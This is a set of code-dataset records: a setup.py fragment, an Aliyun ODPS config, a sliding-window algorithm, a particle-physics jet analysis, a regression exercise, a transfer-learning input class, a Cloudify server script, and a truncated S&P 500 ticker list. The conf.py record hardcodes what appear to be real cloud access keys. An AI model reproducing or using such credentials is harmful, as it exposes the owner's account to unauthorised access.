Modules'],\n description=('Development library for quickly writing configurable '\n 'applications and daemons'),\n long_description=open('README.rst').read(),\n license=open('LICENSE').read(),\n author='Gavin M. Roy',\n author_email='gavinmroy@gmail.com',\n url='https://helper.readthedocs.org',\n packages=['helper'],\n package_data={'': ['LICENSE', 'README.rst']},\n install_requires=requirements,\n tests_require=tests_require,\n zip_safe=True)\n","sub_path":"build/helper/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"278173484","text":"# -*- coding: utf-8 -*-\n# auther:gaoshuai\n# 2019/1/8 下午5:29\n\n\n# odps配置\nproject_name = \"uxin_db_bc\"\naccess_id = \"LTAIywH3UrDpa17F\"\naccess_key = \"AAmVTXbSrkbEmu45si4LE4o0NQRCq6\"\nend_point = \"http://service.odps.aliyun.com/api\"\ntunnel_endpoint = \"http://dt.odps.aliyun.com\"\nlog_view_host = \"http://logview.odps.aliyun.com\"\nhttps_check = \"true\"\n","sub_path":"pyodps_vip_data/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"409761927","text":"from collections import deque\ndef max_of_subarray_of_k(arr,n,k):\n\n dq = deque()\n\n for i in range(k):\n\n while len(dq) >0 and arr[dq[-1]] < arr[i]:\n\n dq.pop()\n dq.append(i)\n\n for j in range(k,n):\n\n print(arr[dq[0]])\n\n while len(dq) > 0 and dq[0] <= j-k:\n dq.popleft()\n\n while len(dq) > 0 and arr[dq[-1]] < arr[j]:\n dq.pop()\n dq.append(j)\n\n print(arr[dq[0]])\n\nmax_of_subarray_of_k([20,40,30,10,60],5,3)\n","sub_path":"queues/max_of_subarray_of_k.py","file_name":"max_of_subarray_of_k.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"307728477","text":"import ROOT\nimport os\nimport sys\nfrom array import array\n\nMAXMUFRAC=0.5\n\ndef runJetAnalysis(t):\n \"\"\"fills histograms to determine prefiring probability\"\"\"\n\n jetPt=[30.0, 36.0, 43.0, 52.0, 63.0, 75.0, 91.0, 109.0, 131.0, 158.0, 190.0, 228.0, 274.0, 397.0, 574.0, 830.0, 1200.0]\n jetEta=[0, 1., 1.5, 2., 2.25, 2.5, 2.75, 3., 3.5]\n histos={\n 'njets' : ROOT.TH1D('njets',';Jet multiplicity;Events',10,0,10),\n 'jetpt' : ROOT.TH1D('jetpt',';Transverse momentum [GeV];Jets',len(jetPt)-1,array('d',jetPt)),\n 'jeteta' : ROOT.TH1D('jeteta',';Pseudo-rapidity;Jets',len(jetEta)-1,array('d',jetEta)),\n 'jetetapt' : ROOT.TH2D('jetpteta',';Pseudo-rapidity;Transverse momentum [GeV];Events',len(jetEta)-1,array('d',jetEta),len(jetPt)-1,array('d',jetPt)),\n 'jetetaphi' : ROOT.TH2D('jetetaphi',';Pseudo-rapidity;#phi [rad];Events',57, -3, 3, 72, -3.1415, 3.1415),\n 'jetemf' : ROOT.TH1D('jetemf',';e.m. fraction;Events',10,0,1),\n }\n for key in histos:\n histos[key].SetDirectory(0)\n histos[key].Sumw2()\n\n def fillHisto(val,name,cat=None):\n key='{0}_{1}'.format(cat,name) if cat else name\n if not key in histos:\n histos[key]=histos[name].Clone(key)\n histos[key].Reset('ICE')\n if isinstance(val,float) or isinstance(val,int):\n histos[key].Fill(val)\n else:\n histos[key].Fill(*val)\n\n for ientry in xrange(0,1000): #t.GetEntries()):\n t.GetEntry(ientry)\n #print ientry,'/',t.GetEntries()\n \n #select events\n hasHotSpotJet=False\n hasVeryFwdJet=True\n\n selJets=[]\n for j in xrange(0,t.jet_p4.size()):\n\n pdgid=t.jet_pdgid[j]\n if pdgid!=0: continue\n\n emfrac=t.jet_neutralEmFrac[j]\n mufrac=t.jet_muFrac[j]\n if mufrac>MAXMUFRAC : continue\n\n eta,phi=t.jet_p4[j].Eta(),t.jet_p4[j].Phi() \n #if t.run>=280919 and t.run<=284044:\n # if abs(eta+2.81)<0.2 and abs(phi-2.07)<0.2:\n # hasHotSpotJet=True\n\n p4=ROOT.TLorentzVector(t.jet_p4[j].Px(),t.jet_p4[j].Py(),t.jet_p4[j].Pz(),t.jet_p4[j].E())\n fillHisto(p4.Pt(), 'jetpt')\n fillHisto(abs(p4.Eta()), 'jeteta')\n fillHisto(p4.Pt(), 'jetpt')\n fillHisto([p4.Eta(),p4.Pt()], 'jetetapt')\n fillHisto([abs(p4.Eta()),p4.Phi()],'jetetaphi')\n fillHisto(emfrac, 'jetemf')\n if abs(eta)>=2:\n if abs(eta)<3.25 : selJets.append(p4)\n else : hasVeryFwdJet=True\n\n njets=len(selJets)\n fillHisto(njets,'njets')\n if njets==0 : continue \n\n for key in histos:\n histos[key].Draw()\n raw_input(key)\n\n\"\"\"\n #match to L1EG\n for ieg in xrange(0,t.L1EG_p4.size()):\n\n if t.L1EG_p4[ieg].Pt()<30: continue\n isIso=(t.L1EG_iso[ieg]&0x1)\n if not isIso: continue\n\n p4=ROOT.TLorentzVector(t.L1EG_p4[ieg].Px(),t.L1EG_p4[ieg].Py(),t.L1EG_p4[ieg].Pz(),t.L1EG_p4[ieg].E())\n for j in selJets:\n if p4.DeltaR(j)>0.4 : continue\n histos[\"jetmatchl1eg\"].fill(p4.Eta(),p4.Phi())\n\n\n\n if ( L1EG_p4[iEG].Pt() > 30. and (L1EG_iso[iEG] & 0x1) and DeltaR(L1EG_p4[iEG], jet) < 0.4 ) {\n match_bx |= bit(L1EG_bx[iEG]+2);\n if ( jet.Pt() > 30. and L1EG_bx[iEG] == -1 ) {\n hJet30EGEtaPhi_->Fill(L1EG_p4[iEG].Eta(), L1EG_p4[iEG].Phi(), jweight);\n }\n }\n if ( etaBinCut(jet) and L1EG_bx[iEG] == -1 and (L1EG_iso[iEG] & 0x1) ) {\n if ( DeltaR(L1EG_p4[iEG], jet) < 0.4 ) {\n if ( L1EG_p4[iEG].Pt() > 20. ) match_thr |= bit(0);\n if ( L1EG_p4[iEG].Pt() > 30. ) match_thr |= bit(1);\n if ( L1EG_p4[iEG].Pt() > 40. ) match_thr |= bit(2);\n }\n }\n if ( etaBinCut(jet) and (L1EG_iso[iEG] & 0x1) and L1EG_p4[iEG].Pt() > 20. ) {\n if ( L1EG_bx[iEG] == -1 ) hJetEGdeltaR_bxm1_->Fill(DeltaR(L1EG_p4[iEG], jet), jweight);\n if ( L1EG_bx[iEG] == 0 ) hJetEGdeltaR_bx0_->Fill(DeltaR(L1EG_p4[iEG], jet), jweight);\n if ( L1EG_bx[iEG] == 1 ) hJetEGdeltaR_bx1_->Fill(DeltaR(L1EG_p4[iEG], jet), jweight);\n }\n }\n\n hJetPtEtaEGeffDenom_->Fill(std::abs(jet.Eta()), jet.Pt(), jweight);\n if ( match_bx & bit(-2+2) ) hJetPtEtaEGeffNum_bxm2_->Fill(std::abs(jet.Eta()), jet.Pt(), jweight);\n if ( match_bx & bit(-1+2) ) hJetPtEtaEGeffNum_bxm1_->Fill(std::abs(jet.Eta()), jet.Pt(), jweight);\n if ( match_bx & bit( 0+2) ) hJetPtEtaEGeffNum_bx0_ ->Fill(std::abs(jet.Eta()), jet.Pt(), jweight);\n if ( match_bx & bit( 1+2) ) hJetPtEtaEGeffNum_bx1_ ->Fill(std::abs(jet.Eta()), jet.Pt(), jweight);\n if ( match_bx & bit( 2+2) ) hJetPtEtaEGeffNum_bx2_ ->Fill(std::abs(jet.Eta()), jet.Pt(), jweight);\n\n if ( etaBinCut(jet) ) {\n hJetEGm1thrDenom_->Fill(jet.Pt(), jweight);\n if ( match_thr & bit(0) ) hJetEGm1thrNum_EGlow_->Fill(jet.Pt(), jweight);\n if ( match_thr & bit(1) ) hJetEGm1thrNum_EGmed_->Fill(jet.Pt(), jweight);\n if ( match_thr & bit(2) ) hJetEGm1thrNum_EGhigh_->Fill(jet.Pt(), jweight);\n }\n }\n\n if ( forwardJets.size() == 1 and not vetoEvent ) {\n LorentzVector jet = forwardJets[0];\n if ( hjetKinReweight_ != nullptr ) {\n weight *= hjetKinReweight_->GetBinContent(hjetKinReweight_->FindBin(std::abs(jet.Eta()), jet.Pt()));\n }\n hJetPtEtaFinOReffDenom_->Fill(std::abs(jet.Eta()), jet.Pt(), weight);\n if ( etaBinCut(jet) ) hJetL1ADenom_->Fill(jet.Pt(), weight);\n if ( L1GtBx[0] ) {\n hJetPtEtaFinOReffNum_bxm2_->Fill(std::abs(jet.Eta()), jet.Pt(), weight);\n if ( etaBinCut(jet) ) hJetL1ANum_bxm2_->Fill(jet.Pt(), weight);\n }\n if ( L1GtBx[1] ) {\n hJetPtEtaFinOReffNum_bxm1_->Fill(std::abs(jet.Eta()), jet.Pt(), weight);\n if ( etaBinCut(jet) ) hJetL1ANum_bxm1_->Fill(jet.Pt(), weight);\n }\n if ( L1GtBx[2] ) {\n hJetPtEtaFinOReffNum_bx0_->Fill(std::abs(jet.Eta()), jet.Pt(), weight);\n if ( etaBinCut(jet) ) hJetL1ANum_bx0_->Fill(jet.Pt(), weight);\n }\n if ( L1GtBx[3] ) {\n hJetPtEtaFinOReffNum_bx1_->Fill(std::abs(jet.Eta()), jet.Pt(), weight);\n if ( etaBinCut(jet) ) hJetL1ANum_bx1_->Fill(jet.Pt(), weight);\n }\n if ( L1GtBx[4] ) {\n hJetPtEtaFinOReffNum_bx2_->Fill(std::abs(jet.Eta()), jet.Pt(), weight);\n if ( etaBinCut(jet) ) hJetL1ANum_bx2_->Fill(jet.Pt(), weight);\n }\n }\n\n return kTRUE;\n}\n\"\"\"\n\ndef main():\n dirList=['/eos/cms/store/cmst3/group/top/RunIIReReco/l1prefire/Data13TeV_2017C_JetHT']\n\n t=ROOT.TChain('prefiringVBFAna/l1prefire')\n for d in dirList:\n for f in os.listdir(d):\n t.AddFile(os.path.join(d,f))\n\n runJetAnalysis(t)\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"TopAnalysis/test/analysis/l1prefire/runJetAnalysis.py","file_name":"runJetAnalysis.py","file_ext":"py","file_size_in_byte":6869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"182050209","text":"import numpy as np\n\n\ndef add_intercept(x):\n \"\"\"Adds a column of 1's to the non-empty numpy.ndarray x.\n Args:\n x: has to be an numpy.ndarray, a vector of dimension m * 1.\n Returns:\n X as a numpy.ndarray, a vector of dimension m * 2.\n None if x is not a numpy.ndarray.\n None if x is a empty numpy.ndarray.\n Raises:\n This function should not raise any Exception.\n \"\"\"\n if (not isinstance(x, np.ndarray) or len(x) == 0):\n return None\n if (x.ndim == 1):\n x2 = np.array([x])\n else:\n x2 = x.T\n lin = x2.shape[1]\n v1 = np.full((1, lin), 1)\n return np.concatenate((v1.T, x2.T), axis=1).astype(float)\n\n\ndef predict_(x, theta):\n \"\"\"Computes the vector of prediction y_hat from two non-empty np.ndarray.\n Args:\n x: has to be an np.ndarray, a vector of dimension m * 1.\n theta: has to be an np.ndarray, a vector of dimension 2 * 1.\n Returns:\n y_hat as a np.ndarray, a vector of dimension m * 1.\n None if x or theta are empty np.ndarray.\n None if x or theta dimensions are not appropriate.\n Raises:\n This function should not raise any Exceptions.\n \"\"\"\n if (not isinstance(x, np.ndarray) or not isinstance(theta, np.ndarray)\n or len(x) == 0 or len(theta) != 2):\n return None\n else:\n x = add_intercept(x)\n return x.dot(theta)\n\n\nif __name__ == '__main__':\n x = np.arange(1, 6)\n # Example 1:\n theta1 = np.array([5, 0])\n print(predict_(x, theta1))\n # Do you remember why y_hat contains only 5's here?\n # Example 2:\n theta2 = np.array([0, 1])\n print(predict_(x, theta2))\n # Do you remember why y_hat == x here?\n # Example 3:\n theta3 = np.array([5, 3])\n print(predict_(x, theta3))\n # Example 4:\n theta4 = np.array([-3, 1])\n print(predict_(x, theta4))\n","sub_path":"ex03/prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"641613406","text":"import cudarray as ca\nimport numpy as np\nfrom ..input import Input\n\n\nclass TransferInput(Input):\n def __init__(self, x1, x2, batch_size=128):\n super(TransferInput, self).__init__(x1, batch_size)\n self.x2 = x2\n self.batch_size2 = batch_size if batch_size > 0 else x2.shape[0]\n self.n_samples2 = x2.shape[0]\n self.n_batches2 = int(np.ceil(float(self.n_samples2) / self.batch_size))\n\n def batches(self, phase = 'train', domain = 'target'):\n if phase == 'train':\n for batch_start, batch_stop in self._batch_slices2(domain = 'target'):\n x1_batch = ca.array(self.x[batch_start:batch_stop])\n x2_batch = ca.array(self.x2[batch_start:batch_stop]) \n yield {'x1': x1_batch, 'x2': x2_batch}\n elif phase == 'test':\n if domain == 'target': \n for batch_start, batch_stop in self._batch_slices2(domain):\n x1_batch = ca.array(self.x[batch_start:batch_stop])\n yield {'x1': x1_batch}\n elif domain == 'source':\n for batch_start, batch_stop in self._batch_slices2(domain):\n x2_batch = ca.array(self.x2[batch_start:batch_stop]) \n yield {'x2': x2_batch}\n \n def _batch_slices2(self, domain = 'target'):\n if domain == 'target': \n for b in range(self.n_batches):\n batch_start = b * self.batch_size\n batch_stop = min(self.n_samples, batch_start + self.batch_size)\n yield batch_start, batch_stop\n elif domain == 'source':\n for b in range(self.n_batches2):\n batch_start = b * self.batch_size2\n batch_stop = min(self.n_samples2, batch_start + self.batch_size2)\n yield batch_start, batch_stop\n \n \n \n @property\n def x_shape(self):\n return (self.batch_size,) + self.x.shape[1:] + self.x2.shape[1:] \n\n @property\n def shapes(self):\n return {'x_shape': self.x_shape}\n\n\n\nclass SupervisedTransferInput(TransferInput):\n def __init__(self, x1, x2, y, batch_size=128):\n super(SupervisedTransferInput, self).__init__(x1, x2, batch_size)\n if x1.shape[0] != y.shape[0]:\n raise ValueError('shape mismatch between x and y')\n self.y = y\n\n def batches(self):\n for batch_start, batch_stop in self._batch_slices():\n x1_batch = ca.array(self.x[batch_start:batch_stop])\n x2_batch = ca.array(self.x2[batch_start:batch_stop])\n y_batch = ca.array(self.y[batch_start:batch_stop])\n yield {'x1': x1_batch, 'x2': x2_batch, 'y': y_batch}\n\n @property\n def y_shape(self):\n return (self.batch_size,) + self.y.shape[1:]\n \n @property\n def shapes(self):\n return {'x_shape': self.x_shape, 'y_shape': self.y_shape}","sub_path":"deeppy/transfernet/input.py","file_name":"input.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"255709729","text":"import os\nimport sys\nimport subprocess\nfrom cloudify import ctx\n\nIS_WIN = os.name == 'nt'\n\n\ndef run_server(_path, _port):\n webserver_cmd = [sys.executable, '-m', 'SimpleHTTPServer', str(_port)]\n if not IS_WIN:\n webserver_cmd.insert(0, 'nohup')\n ctx.logger.info('Serving wagon port: {0}'.format(str(_port)))\n with open(os.devnull, 'wb') as dn:\n process = subprocess.Popen(webserver_cmd, stdout=dn, stderr=dn, cwd=_path)\n return process.pid\n\n\ndef set_pid(_pid):\n ctx.logger.info('Setting `pid` runtime property: {0}'.format(str(pid)))\n ctx.instance.runtime_properties['pid'] = _pid\n\n\nif __name__ == '__main__':\n\n wagon_directory = os.path.dirname(ctx.instance.runtime_properties['wagon'])\n port = ctx.node.properties['port']\n pid = run_server(wagon_directory, port)\n set_pid(pid)\n","sub_path":"scripts/wagon/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"385559286","text":"'''\nCreated on 15 Mar 2019\n\n@author: francescoferrari\n'''\n\nsp500 = [\n ('A','Health Care','USD'),\n ('AAL','Industrials','USD'),\n ('AAP','Consumer Discretionary','USD'),\n ('AAPL','Information Technology','USD'),\n ('ABBV','Health Care','USD'),\n ('ABC','Health Care','USD'),\n ('ABMD','Health Care','USD'),\n ('ABT','Health Care','USD'),\n ('ACN','Information Technology','USD'),\n ('ADBE','Information Technology','USD'),\n ('ADI','Information Technology','USD'),\n ('ADM','Consumer Staples','USD'),\n ('ADP','Information Technology','USD'),\n ('ADS','Information Technology','USD'),\n ('ADSK','Information Technology','USD'),\n ('AEE','Utilities','USD'),\n ('AEP','Utilities','USD'),\n ('AES','Utilities','USD'),\n ('AFL','Financials','USD'),\n ('AGN','Health Care','USD'),\n ('AIG','Financials','USD'),\n ('AIV','Real Estate','USD'),\n ('AIZ','Financials','USD'),\n ('AJG','Financials','USD'),\n ('AKAM','Information Technology','USD'),\n ('ALB','Materials','USD'),\n ('ALGN','Health Care','USD'),\n ('ALK','Industrials','USD'),\n ('ALL','Financials','USD'),\n ('ALLE','Industrials','USD'),\n ('ALXN','Health Care','USD'),\n ('AMAT','Information Technology','USD'),\n ('AMD','Information Technology','USD'),\n ('AME','Industrials','USD'),\n ('AMG','Financials','USD'),\n ('AMGN','Health Care','USD'),\n ('AMP','Financials','USD'),\n ('AMT','Real Estate','USD'),\n ('AMZN','Consumer Discretionary','USD'),\n ('ANET','Information Technology','USD'),\n ('ANSS','Information Technology','USD'),\n ('ANTM','Health Care','USD'),\n ('AON','Financials','USD'),\n ('AOS','Industrials','USD'),\n ('APA','Energy','USD'),\n ('APC','Energy','USD'),\n ('APD','Materials','USD'),\n ('APH','Information Technology','USD'),\n ('APTV','Consumer Discretionary','USD'),\n ('ARE','Real Estate','USD'),\n ('ARNC','Industrials','USD'),\n ('ATVI','Communication Services','USD'),\n ('AVB','Real Estate','USD'),\n ('AVGO','Information Technology','USD'),\n ('AVY','Materials','USD'),\n ('AWK','Utilities','USD'),\n ('AXP','Financials','USD'),\n ('AZO','Consumer Discretionary','USD'),\n ('BA','Industrials','USD'),\n ('BAC','Financials','USD'),\n ('BAX','Health Care','USD'),\n ('BBT','Financials','USD'),\n ('BBY','Consumer Discretionary','USD'),\n ('BDX','Health Care','USD'),\n ('BEN','Financials','USD'),\n ('BF-B','Consumer Staples','USD'),\n ('BHF','Financials','USD'),\n ('BHGE','Energy','USD'),\n ('BIIB','Health Care','USD'),\n ('BK','Financials','USD'),\n ('BKNG','Consumer Discretionary','USD'),\n ('BLK','Financials','USD'),\n ('BLL','Materials','USD'),\n ('BMY','Health Care','USD'),\n ('BR','Information Technology','USD'),\n ('BRK-B','Financials','USD'),\n ('BSX','Health Care','USD'),\n ('BWA','Consumer Discretionary','USD'),\n ('BXP','Real Estate','USD'),\n ('C','Financials','USD'),\n ('CAG','Consumer Staples','USD'),\n ('CAH','Health Care','USD'),\n ('CAT','Industrials','USD'),\n ('CB','Financials','USD'),\n ('CBOE','Financials','USD'),\n ('CBRE','Real Estate','USD'),\n ('CBS','Communication Services','USD'),\n ('CCI','Real Estate','USD'),\n ('CCL','Consumer Discretionary','USD'),\n ('CDNS','Information Technology','USD'),\n ('CE','Materials','USD'),\n ('CELG','Health Care','USD'),\n ('CERN','Health Care','USD'),\n ('CF','Materials','USD'),\n ('CFG','Financials','USD'),\n ('CHD','Consumer Staples','USD'),\n ('CHRW','Industrials','USD'),\n ('CHTR','Communication Services','USD'),\n ('CI','Health Care','USD'),\n ('CINF','Financials','USD'),\n ('CL','Consumer Staples','USD'),\n ('CLX','Consumer Staples','USD'),\n ('CMA','Financials','USD'),\n ('CMCSA','Communication Services','USD'),\n ('CME','Financials','USD'),\n ('CMG','Consumer Discretionary','USD'),\n ('CMI','Industrials','USD'),\n ('CMS','Utilities','USD'),\n ('CNC','Health Care','USD'),\n ('CNP','Utilities','USD'),\n ('COF','Financials','USD'),\n ('COG','Energy','USD'),\n ('COO','Health Care','USD'),\n ('COP','Energy','USD'),\n ('COST','Consumer Staples','USD'),\n ('COTY','Consumer Staples','USD'),\n ('CPB','Consumer Staples','USD'),\n ('CPRI','Consumer Discretionary','USD'),\n ('CPRT','Industrials','USD'),\n ('CRM','Information Technology','USD'),\n ('CSCO','Information Technology','USD'),\n ('CSX','Industrials','USD'),\n ('CTAS','Industrials','USD'),\n ('CTL','Communication Services','USD'),\n ('CTSH','Information Technology','USD'),\n ('CTXS','Information Technology','USD'),\n ('CVS','Health Care','USD'),\n ('CVX','Energy','USD'),\n ('CXO','Energy','USD'),\n ('D','Utilities','USD'),\n ('DAL','Industrials','USD'),\n ('DE','Industrials','USD'),\n ('DFS','Financials','USD'),\n ('DG','Consumer Discretionary','USD'),\n ('DGX','Health Care','USD'),\n ('DHI','Consumer Discretionary','USD'),\n ('DHR','Health Care','USD'),\n ('DIS','Communication Services','USD'),\n ('DISCA','Communication Services','USD'),\n ('DISCK','Communication Services','USD'),\n ('DISH','Communication Services','USD'),\n ('DLR','Real Estate','USD'),\n ('DLTR','Consumer Discretionary','USD'),\n ('DOV','Industrials','USD'),\n ('DRE','Real Estate','USD'),\n ('DRI','Consumer Discretionary','USD'),\n ('DTE','Utilities','USD'),\n ('DUK','Utilities','USD'),\n ('DVA','Health Care','USD'),\n ('DVN','Energy','USD'),\n ('DWDP','Materials','USD'),\n ('DXC','Information Technology','USD'),\n ('EA','Communication Services','USD'),\n ('EBAY','Consumer Discretionary','USD'),\n ('ECL','Materials','USD'),\n ('ED','Utilities','USD'),\n ('EFX','Industrials','USD'),\n ('EIX','Utilities','USD'),\n ('EL','Consumer Staples','USD'),\n ('EMN','Materials','USD'),\n ('EMR','Industrials','USD'),\n ('EOG','Energy','USD'),\n ('EQIX','Real Estate','USD'),\n ('EQR','Real Estate','USD'),\n ('ES','Utilities','USD'),\n ('ESS','Real Estate','USD'),\n ('ETFC','Financials','USD'),\n ('ETN','Industrials','USD'),\n ('ETR','Utilities','USD'),\n ('EVRG','Utilities','USD'),\n ('EW','Health Care','USD'),\n ('EXC','Utilities','USD'),\n ('EXPD','Industrials','USD'),\n ('EXPE','Consumer Discretionary','USD'),\n ('EXR','Real Estate','USD'),\n ('F','Consumer Discretionary','USD'),\n ('FANG','Energy','USD'),\n ('FAST','Industrials','USD'),\n ('FB','Communication Services','USD'),\n ('FBHS','Industrials','USD'),\n ('FCX','Materials','USD'),\n ('FDX','Industrials','USD'),\n ('FE','Utilities','USD'),\n ('FFIV','Information Technology','USD'),\n ('FIS','Information Technology','USD'),\n ('FISV','Information Technology','USD'),\n ('FITB','Financials','USD'),\n ('FL','Consumer Discretionary','USD'),\n ('FLIR','Information Technology','USD'),\n ('FLR','Industrials','USD'),\n ('FLS','Industrials','USD'),\n ('FLT','Information Technology','USD'),\n ('FMC','Materials','USD'),\n ('FOX','Communication Services','USD'),\n ('FOXA','Communication Services','USD'),\n ('FRC','Financials','USD'),\n ('FRT','Real Estate','USD'),\n ('FTI','Energy','USD'),\n ('FTNT','Information Technology','USD'),\n ('FTV','Industrials','USD'),\n ('GD','Industrials','USD'),\n ('GE','Industrials','USD'),\n ('GILD','Health Care','USD'),\n ('GIS','Consumer Staples','USD'),\n ('GLW','Information Technology','USD'),\n ('GM','Consumer Discretionary','USD'),\n ('GOOG','Communication Services','USD'),\n ('GOOGL','Communication Services','USD'),\n ('GPC','Consumer Discretionary','USD'),\n ('GPN','Information Technology','USD'),\n ('GPS','Consumer Discretionary','USD'),\n ('GRMN','Consumer Discretionary','USD'),\n ('GS','Financials','USD'),\n ('GT','Consumer Discretionary','USD'),\n ('GWW','Industrials','USD'),\n ('HAL','Energy','USD'),\n ('HAS','Consumer Discretionary','USD'),\n ('HBAN','Financials','USD'),\n ('HBI','Consumer Discretionary','USD'),\n ('HCA','Health Care','USD'),\n ('HCP','Real Estate','USD'),\n ('HD','Consumer Discretionary','USD'),\n ('HES','Energy','USD'),\n ('HFC','Energy','USD'),\n ('HIG','Financials','USD'),\n ('HII','Industrials','USD'),\n ('HLT','Consumer Discretionary','USD'),\n ('HOG','Consumer Discretionary','USD'),\n ('HOLX','Health Care','USD'),\n ('HON','Industrials','USD'),\n ('HP','Energy','USD'),\n ('HPE','Information Technology','USD'),\n ('HPQ','Information Technology','USD'),\n ('HRB','Consumer Discretionary','USD'),\n ('HRL','Consumer Staples','USD'),\n ('HRS','Industrials','USD'),\n ('HSIC','Health Care','USD'),\n ('HST','Real Estate','USD'),\n ('HSY','Consumer Staples','USD'),\n ('HUM','Health Care','USD'),\n ('IBM','Information Technology','USD'),\n ('ICE','Financials','USD'),\n ('IDXX','Health Care','USD'),\n ('IFF','Materials','USD'),\n ('ILMN','Health Care','USD'),\n ('INCY','Health Care','USD'),\n ('INFO','Industrials','USD'),\n ('INTC','Information Technology','USD'),\n ('INTU','Information Technology','USD'),\n ('IP','Materials','USD'),\n ('IPG','Communication Services','USD'),\n ('IPGP','Information Technology','USD'),\n ('IQV','Health Care','USD'),\n ('IR','Industrials','USD'),\n ('IRM','Real Estate','USD'),\n ('ISRG','Health Care','USD'),\n ('IT','Information Technology','USD'),\n ('ITW','Industrials','USD'),\n ('IVZ','Financials','USD'),\n ('JBHT','Industrials','USD'),\n ('JCI','Industrials','USD'),\n ('JEC','Industrials','USD'),\n ('JEF','Financials','USD'),\n ('JKHY','Information Technology','USD'),\n ('JNJ','Health Care','USD'),\n ('JNPR','Information Technology','USD'),\n ('JPM','Financials','USD'),\n ('JWN','Consumer Discretionary','USD'),\n ('K','Consumer Staples','USD'),\n ('KEY','Financials','USD'),\n ('KEYS','Information Technology','USD'),\n ('KHC','Consumer Staples','USD'),\n ('KIM','Real Estate','USD'),\n ('KLAC','Information Technology','USD'),\n ('KMB','Consumer Staples','USD'),\n ('KMI','Energy','USD'),\n ('KMX','Consumer Discretionary','USD'),\n ('KO','Consumer Staples','USD'),\n ('KR','Consumer Staples','USD'),\n ('KSS','Consumer Discretionary','USD'),\n ('KSU','Industrials','USD'),\n ('L','Financials','USD'),\n ('LB','Consumer Discretionary','USD'),\n ('LEG','Consumer Discretionary','USD'),\n ('LEN','Consumer Discretionary','USD'),\n ('LH','Health Care','USD'),\n ('LIN','Materials','USD'),\n ('LKQ','Consumer Discretionary','USD'),\n ('LLL','Industrials','USD'),\n ('LLY','Health Care','USD'),\n ('LMT','Industrials','USD'),\n ('LNC','Financials','USD'),\n ('LNT','Utilities','USD'),\n ('LOW','Consumer Discretionary','USD'),\n ('LRCX','Information Technology','USD'),\n ('LUV','Industrials','USD'),\n ('LW','Consumer Staples','USD'),\n ('LYB','Materials','USD'),\n ('M','Consumer Discretionary','USD'),\n ('MA','Information Technology','USD'),\n ('MAA','Real Estate','USD'),\n ('MAC','Real Estate','USD'),\n ('MAR','Consumer Discretionary','USD'),\n ('MAS','Industrials','USD'),\n ('MAT','Consumer Discretionary','USD'),\n ('MCD','Consumer Discretionary','USD'),\n ('MCHP','Information Technology','USD'),\n ('MCK','Health Care','USD'),\n ('MCO','Financials','USD'),\n ('MDLZ','Consumer Staples','USD'),\n ('MDT','Health Care','USD'),\n ('MET','Financials','USD'),\n ('MGM','Consumer Discretionary','USD'),\n ('MHK','Consumer Discretionary','USD'),\n ('MKC','Consumer Staples','USD'),\n ('MLM','Materials','USD'),\n ('MMC','Financials','USD'),\n ('MMM','Industrials','USD'),\n ('MNST','Consumer Staples','USD'),\n ('MO','Consumer Staples','USD'),\n ('MOS','Materials','USD'),\n ('MPC','Energy','USD'),\n ('MRK','Health Care','USD'),\n ('MRO','Energy','USD'),\n ('MS','Financials','USD'),\n ('MSCI','Financials','USD'),\n ('MSFT','Information Technology','USD'),\n ('MSI','Information Technology','USD'),\n ('MTB','Financials','USD'),\n ('MTD','Health Care','USD'),\n ('MU','Information Technology','USD'),\n ('MXIM','Information Technology','USD'),\n ('MYL','Health Care','USD'),\n ('NBL','Energy','USD'),\n ('NCLH','Consumer Discretionary','USD'),\n ('NDAQ','Financials','USD'),\n ('NEE','Utilities','USD'),\n ('NEM','Materials','USD'),\n ('NFLX','Communication Services','USD'),\n ('NFX','Energy','USD'),\n ('NI','Utilities','USD'),\n ('NKE','Consumer Discretionary','USD'),\n ('NKTR','Health Care','USD'),\n ('NLSN','Industrials','USD'),\n ('NOC','Industrials','USD'),\n ('NOV','Energy','USD'),\n ('NRG','Utilities','USD'),\n ('NSC','Industrials','USD'),\n ('NTAP','Information Technology','USD'),\n ('NTRS','Financials','USD'),\n ('NUE','Materials','USD'),\n ('NVDA','Information Technology','USD'),\n ('NWL','Consumer Discretionary','USD'),\n ('NWS','Communication Services','USD'),\n ('NWSA','Communication Services','USD'),\n ('O','Real Estate','USD'),\n ('OKE','Energy','USD'),\n ('OMC','Communication Services','USD'),\n ('ORCL','Information Technology','USD'),\n ('ORLY','Consumer Discretionary','USD'),\n ('OXY','Energy','USD'),\n ('PAYX','Information Technology','USD'),\n ('PBCT','Financials','USD'),\n ('PCAR','Industrials','USD'),\n ('PEG','Utilities','USD'),\n ('PEP','Consumer Staples','USD'),\n ('PFE','Health Care','USD'),\n ('PFG','Financials','USD'),\n ('PG','Consumer Staples','USD'),\n ('PGR','Financials','USD'),\n ('PH','Industrials','USD'),\n ('PHM','Consumer Discretionary','USD'),\n ('PKG','Materials','USD'),\n ('PKI','Health Care','USD'),\n ('PLD','Real Estate','USD'),\n ('PM','Consumer Staples','USD'),\n ('PNC','Financials','USD'),\n ('PNR','Industrials','USD'),\n ('PNW','Utilities','USD'),\n ('PPG','Materials','USD'),\n ('PPL','Utilities','USD'),\n ('PRGO','Health Care','USD'),\n ('PRU','Financials','USD'),\n ('PSA','Real Estate','USD'),\n ('PSX','Energy','USD'),\n ('PVH','Consumer Discretionary','USD'),\n ('PWR','Industrials','USD'),\n ('PXD','Energy','USD'),\n ('PYPL','Information Technology','USD'),\n ('QCOM','Information Technology','USD'),\n ('QRVO','Information Technology','USD'),\n ('RCL','Consumer 